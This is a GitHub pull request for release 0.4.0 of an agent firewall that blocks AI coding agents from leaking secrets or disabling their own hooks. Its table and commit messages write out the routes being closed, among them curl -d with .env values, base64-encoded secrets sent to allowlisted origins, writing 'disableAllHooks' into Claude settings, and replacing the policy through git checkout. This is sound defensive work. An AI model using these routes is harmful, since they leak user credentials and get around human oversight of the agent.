Skip to content

Release 0.4.0: secret values never leave, protected names, the agent cannot rewrite what judges it - #17

Merged
ValentinTorassa merged 8 commits into
mainfrom
release/0.4.0
Oct 29, 2026
Merged

ValentinTorassa merged 8 commits into
mainfrom
release/0.4.0

Conversation

@ValentinTorassa

Copy link
Copy Markdown
Owner

Release 0.4.0. It ships what is on main since 0.3.0 (#10 narrower grants; #6, #7 and #16 in learning mode; and the three fixes the OWASP ROS:SEC 2026 talk shows: #13, #14, #15) and closes what was still open in the two places the talk is about: an allowlist that still lets the .env out, and the agent rewriting its own policy.

What each change blocks

Real output from the hook run as a subprocess against a synthetic project (root writable, curl allowlisted, python3 on shell_ask, https://docs.python.org on network.allow), on main (9638df9) and on this branch:

Call main this branch
WebFetch https://docs.python.org/3/search.html?q=<value from .env> allow deny secret-egress
the same value base64-encoded inside a JSON payload allow deny secret-egress
curl -d k=<value> https://docs.python.org/x allow deny secret-egress
Read .env.local, cat api/.env (the list names .env only) allow deny fs-protected / sh-paths (protected_names)
cat .ENV (opens .env on macOS) allow deny sh-paths
Read .env denied, then WebFetch to the allowed origin in the same session allow deny taint-session
... then python3 -c '...' ask deny taint-session
Write .claude/settings.local.json {"disableAllHooks": true} allow deny fs-protected
Write .mcp.json allow deny fs-protected
policy file replaced (e.g. git checkout), then cat .env allow deny (pin mismatch, fail-closed) with --policy-sha256

Changes

Scenario 1, the allowlist that still lets the .env out

  • secret_files + rule secret-egress (agent_firewall/egress.py): the firewall reads the listed files and takes the values of keys that name a credential, URL passwords and non-assignment lines (8+ chars). Any request carrying one, in any param of any tool, raw, percent-decoded (twice), base64 at any offset or hex, is refused before every other rule (malformed requests included), taints the session, and is audited redacted: file, key and param names only, no values and no digest. Learning mode never learns from a session after a secret-egress. Each secret file is a protected path.
  • protected_names: name patterns protected anywhere under the sandbox (.env.*, *.pem, .aws).
  • Protected paths and names compare casefolded (realpath keeps the case it was given; macOS opens .env for .ENV).
  • The hook keeps a session's taint across calls in <audit>.tainted (protected; unreadable store taints every session, unopenable/unwritable store denies).

Scenario 2, the agent rewriting its own policy

  • The hook protects the host settings that install it, existing or not: .claude/settings.json, .claude/settings.local.json, .mcp.json (under --base-dir, the sandbox root, CLAUDE_PROJECT_DIR), ~/.claude/settings.json (or CLAUDE_CONFIG_DIR), ~/.claude.json; Codex .codex/config.toml and .codex/hooks.json in the project and CODEX_HOME.
  • --protect PATH (hook and MCP proxy) for anything else (wrapper script, the client config that launches the proxy).
  • --policy-sha256 HEX (hook and MCP proxy; policy_sha256= in Gateway, sha256= in Config): a policy that changed is not loaded; the hook denies every call, the proxy refuses to start (and now exits with a message instead of a traceback on an unloadable policy).

Behaviour changes, all stricter (called out in the CHANGELOG): calls naming the host settings are now refused; in the hook a tainted session stays tainted for later calls; .ENV is protected when .env is. Policies without the new keys otherwise decide as before.

Docs and data: README / README.es (new "Secrets that must not leave" section, rules table, hook paragraph, corpus, limitations, roadmap), docs/AGENT_HOOKS.md (new "Keeping the firewall out of the agent's reach", table rows, limits), threat model (two new attacker capabilities, LLM02, ASI10, known limitations), docs/LEARNING.md, CHANGELOG. policies/default.json and examples/hooks/agent-firewall.json use the new keys. Corpus: 58 cases (8 new), with setup.files.

Post draft: docs/posts/2026-10-28-the-allowlist-that-lets-the-env-out.md, with r/netsec and HN submission drafts at the top (remove that section before publishing).

Tests (local)

  • python -m unittest discover -s tests: 295 OK on Python 3.11, 3.12 and 3.13 (249 on main; +46: tests/test_allowlist_exfil.py and tests/test_policy_integrity.py run each scenario first as it decided before, then refused).
  • scripts/run_corpus.py: 58 cases, 0 failures. run_demo.py --health, run_demo.py and run_learning_demo.py pass.
  • pip install . in a clean venv: imports and the three entry points (--help) work, as CI checks.
  • ruff check --select E,F,W,B (not configured in the repo): 13 findings, the same 13 as main; none new.

Release notes (draft)

0.4.0: an allowlist is not an exfiltration control

  • Narrower grants (shell_ask, shell_exact, network.allow) instead of a whole binary or the whole network.
  • Learning mode counts an ask only after PostToolUse shows it ran, and records in the MCP proxy too; --drop-unused only narrows what the traces cover.
  • Secret values never leave (secret_files, secret-egress): a value from a secret file is refused in any request, raw or encoded, even through an allowed origin, an allowlisted curl, a writable directory or an MCP/API argument. The audit keeps no value.
  • protected_names protects .env.*, *.pem, .aws... anywhere in the sandbox; protected paths compare without case (.ENV on macOS).
  • The hook remembers a tainted session across calls.
  • The agent cannot rewrite what judges it: the hook protects the host settings that install it, --protect adds more, and --policy-sha256 pins the policy (hook and MCP proxy).
  • Fixes shown at OWASP ROS:SEC 2026: curl -d @.env through an allowlisted binary (Shell: check @file spellings for every binary without a grammar #14), the MCP proxy's own policy and audit log (MCP proxy: protect its own policy file and audit log #15), wrong-typed params refused instead of raised (Policy: refuse params of the wrong type instead of raising #13).

Behaviour changes are stricter only; see the CHANGELOG. Upgrade: pip install -U vt-agent-firewall.

Release checklist (after approval)

  • Merge (squash, as usual).
  • If tagging on another day, change the date in ## 0.4.0 — 2026-10-28 in CHANGELOG.md first.
  • Tag the merge commit and push: git switch main && git pull && git tag -a v0.4.0 -m v0.4.0 && git push origin v0.4.0.
  • release.yml runs the tests, checks tag = version (0.4.0), builds sdist and wheel, creates the GitHub release and publishes to PyPI (PYPI_PUBLISH is true). Watch: gh run watch / gh run list --workflow Release.
  • Replace the generated notes with the draft above: gh release edit v0.4.0 --notes-file notes.md.
  • Check pip install vt-agent-firewall==0.4.0 and vt-agent-firewall-hook --help | grep policy-sha256.
  • Homebrew tap / Scoop bucket: nothing to do; neither references vt-agent-firewall.
  • Post: review docs/posts/..., remove the submission-drafts section, then submit.

… taint

An allowlist could still let a secret out after curl -d @.env was closed:

- secret_files: the firewall reads the values in these files (credential
  keys, URL passwords, token and PEM lines) and refuses any request that
  carries one (secret-egress), whatever the tool, the grant or the allowed
  destination: as written, percent-decoded, base64 at any offset, or hex.
  It runs before every other rule, taints the session, and the audit
  record keeps only the names of the request's params. Each secret file is
  a protected path too.
- protected_names: name patterns (.env.*, *.pem, .aws) protected wherever
  they appear under the sandbox, so .env.local and api/.env are covered
  when the list only names .env.
- The agent hook keeps a session's taint across calls in a store next to
  its audit log, protected like the log. A denied Read .env no longer
  leaves the next WebFetch to an allowed origin or the next shell_ask
  interpreter decided as if nothing happened. A store that cannot be read
  taints every session; one that cannot be opened or written denies.

Learning mode treats a recorded secret-egress as tainting the session, so
nothing after it is learned from. The corpus gains seven cases (setup.files
builds the copies), and tests/test_allowlist_exfil.py reproduces each leak
before and after.
… policy

The hook and the MCP proxy already protected their policy file and audit
log. The agent could still change what is around them:

- The agent hook now protects the host settings that install it, whether
  they exist or not: .claude/settings.json, .claude/settings.local.json and
  .mcp.json under --base-dir, the sandbox root and CLAUDE_PROJECT_DIR, the
  user's ~/.claude/settings.json (or CLAUDE_CONFIG_DIR) and ~/.claude.json;
  for Codex, .codex/config.toml and .codex/hooks.json and the same under
  CODEX_HOME. Writing disableAllHooks into settings.local.json, repointing
  --policy or adding an unproxied MCP server is fs-protected.
- --protect PATH (hook and proxy) adds any other file the setup depends on:
  a wrapper script, the client config that launches the proxy.
- --policy-sha256 HEX (hook and proxy; policy_sha256= in Gateway and Config)
  pins the policy file. A policy changed by a route the hook does not see,
  such as an allowed git checkout, is not loaded: the hook denies every
  call (fail-closed, audited) and the proxy refuses to start.

tests/test_policy_integrity.py runs each rewrite the way it went before
and refused now, including a refused settings write that learning mode
must not propose.
realpath keeps the case it was given, so on a case-insensitive filesystem
(macOS by default) cat .ENV opened .env while the policy compared
/.../.ENV with /.../.env and allowed it. Protected paths and
protected_names now compare casefolded; on a case-sensitive filesystem that
also protects .ENV. The sandbox and writable checks still compare as
written, so another spelling of an allowed directory is refused or asked
about, never allowed.
README and README.es: the secret-egress rule and a section on secrets that
must not leave; what the hook protects, --protect, --policy-sha256 and the
taint that carries across calls; corpus count (58) and the new cases.
AGENT_HOOKS.md gains "Keeping the firewall out of the agent's reach" (the
protected host settings per host, the pin and where to keep it, the taint
store) and rows in the table of what the example rules block. The threat
model adds the two attacker capabilities and updates LLM02, ASI10 and the
known limitations; LEARNING.md lists secret-egress among what is never
relaxed or learned from. CHANGELOG entries for all of it.
@ValentinTorassa
ValentinTorassa merged commit f6b11c2 into main Oct 29, 2026
10 checks passed
@ValentinTorassa
ValentinTorassa deleted the release/0.4.0 branch November 1, 2026 21:57
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant